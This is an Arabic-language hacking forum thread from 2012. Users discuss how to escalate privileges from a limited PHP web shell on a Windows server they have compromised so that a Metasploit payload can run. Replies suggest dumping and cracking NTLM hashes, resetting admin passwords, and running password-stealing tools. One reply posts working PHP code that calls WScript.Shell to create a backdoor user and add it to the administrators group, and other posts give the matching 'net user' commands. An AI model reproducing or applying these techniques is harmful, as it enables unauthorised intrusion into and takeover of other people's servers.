:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)
-   -   user limited shell windows (http://www.vbspiders.com/vb/t66283.html)

JANOVA 12-22-2012 08:30 PM

user limited shell windows
 
السلام عليكم شباب
اليوم رفعت بايلود من الشل لما شغلته طلعت الصدمة

start payload.exe

This program is blocked by group policy. For more information, contact your system administrator.

عل توجد طريقة لتخطى هدا المشكل :icon30:

Cyber Code 12-22-2012 09:02 PM

رد: user limited shell windows
 
حاول زرع يوزر او تعديل صلاحيات اليوزر بتاعك من الكوماند لاين,
او تسحب هاشات ال ntlm بحيث تكسر تشفير باسورد احد اليوزرات وتستخدمه في التخطي.
او جرب تستبدل البايلود بتاعك باخر لايتطلب صلاحيات عاليه مثل نسخ الباتش لاحد مجلدات النظام او زرقع قيمه ريجستري وغيره..

JANOVA 12-22-2012 09:45 PM

رد: user limited shell windows
 
انا رفعته من الشل لا يوجد بالشل قيم رجستري
انا اصلا رفعت البايلود للاتصال بالميتاسبلوت لترقية الصلاحيات
بالنسبة لاضافة اليوزر لا يكمن اضافته ما دمت انت يوزر
لا يسحب الي بالباكدور ntdlm

fantome195 12-22-2012 10:41 PM

رد: user limited shell windows
 
هل جربت تعديل على الباس الخاص بالمديرين
net user admin *
يمكن تشتغل معاك لو ما نفع وما دمت انت اخترقت الجهاز فما عليك برفع سرفر وتشغيل برنامج سحب الباسوردات اليوزرات وفك تشفيرهم

JANOVA 12-22-2012 10:51 PM

رد: user limited shell windows
 
اقتباس:

المشاركة الأصلية كتبت بواسطة fantome195 (المشاركة 456416)
هل جربت تعديل على الباس الخاص بالمديرين
net user admin *
يمكن تشتغل معاك لو ما نفع وما دمت انت اخترقت الجهاز فما عليك برفع سرفر وتشغيل برنامج سحب الباسوردات اليوزرات وفك تشفيرهم

هل انت جدر حتي تكتب هدا الامر هدا لا ينفه مع مستخدم limited shell

Cyber Code 12-22-2012 10:52 PM

رد: user limited shell windows
 
تاكد لو تقدر تضيف او تعدل قيمة في الريجستري, لو باستطاعتك وقتها يمكنك تخطي مشكلة الصلاحيات .
للأسف سرفرات الوندوز مو مثل اللينوكس انه ترفع ملف هت اكسس او php.ini فمحاولاتك تكون محدوده بشروط معينه

واتمنى ارفاق نوع النظام بالضبط في الرد القادم

JANOVA 12-22-2012 11:00 PM

رد: user limited shell windows
 
يا حبيبي cyber code
انا رافع شل مكتوب بلغة php
وانت تقول رجستري لو كنت واصل للجستري لاخترقت السيرفر

fantome195 12-23-2012 05:54 PM

رد: user limited shell windows
 
شوف نفس المشكل تكرر معي البارحة سرفرات واليندرز قبيحة متل نظامها المهم شوف غير الشيل الى الشيلات المختصة في الويندزر + جرب هذه الطريقة وهي تشتغل فقط على II4&5

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("net user fantome 000000 /add");
?>

,ارفعه على السرفر واستعرضه وشوف اليوزرات لو شفت انو تم اظافة اليوزر fantome
فارفع ملف اخر فيه التالي
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("net user fantome localgroup /add");
?>
ومبروك عليك الأدمن
في انتظارك اخي

دام علاء العماد 12-23-2012 09:09 PM

رد: user limited shell windows
 
لقد إستفدنا من إجابات الاخوة بارك الله فيكم

JANOVA 12-23-2012 11:31 PM

رد: user limited shell windows
 
اخي

net user janova janova /add
net localgroup administrators janova /add
هكدا تكتب انا

limited shell

هل تعرف مامعني

limited shell

بارك الله فيك

fantome195 12-23-2012 11:42 PM

رد: user limited shell windows
 
اقتباس:

المشاركة الأصلية كتبت بواسطة JANOVA (المشاركة 456495)
اخي

net user janova janova /add
net localgroup administrators janova /add
هكدا تكتب انا

limited shell

هل تعرف مامعني

limited shell

بارك الله فيك

شوف اسف على الخطا ما انتبهت لو
المهم انا قوتلك في ردي طريقة بشتغل على IIS4&5 وانت ما حطيت اصدار يعني رح ينزل على الوحي ولا كيف

في امان الله

JANOVA 12-26-2012 01:06 AM

رد: user limited shell windows
 
اخي الكريم في iiS5

توجد عدة طرق للتخطي ومن بينها الشل كود لكن
نحن في هده الحالة يوزر محدود الصلاحيات يجب تشغيل البايلود بنفس الصلاحيات لربطه بالميتاسبلوت حتي نرقي الصلاحيات
لكن عند التشغيل لا يسمح المدير بتنصيب البرامج اتمني ان تصل المعلومة


الساعة الآن 02:04 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0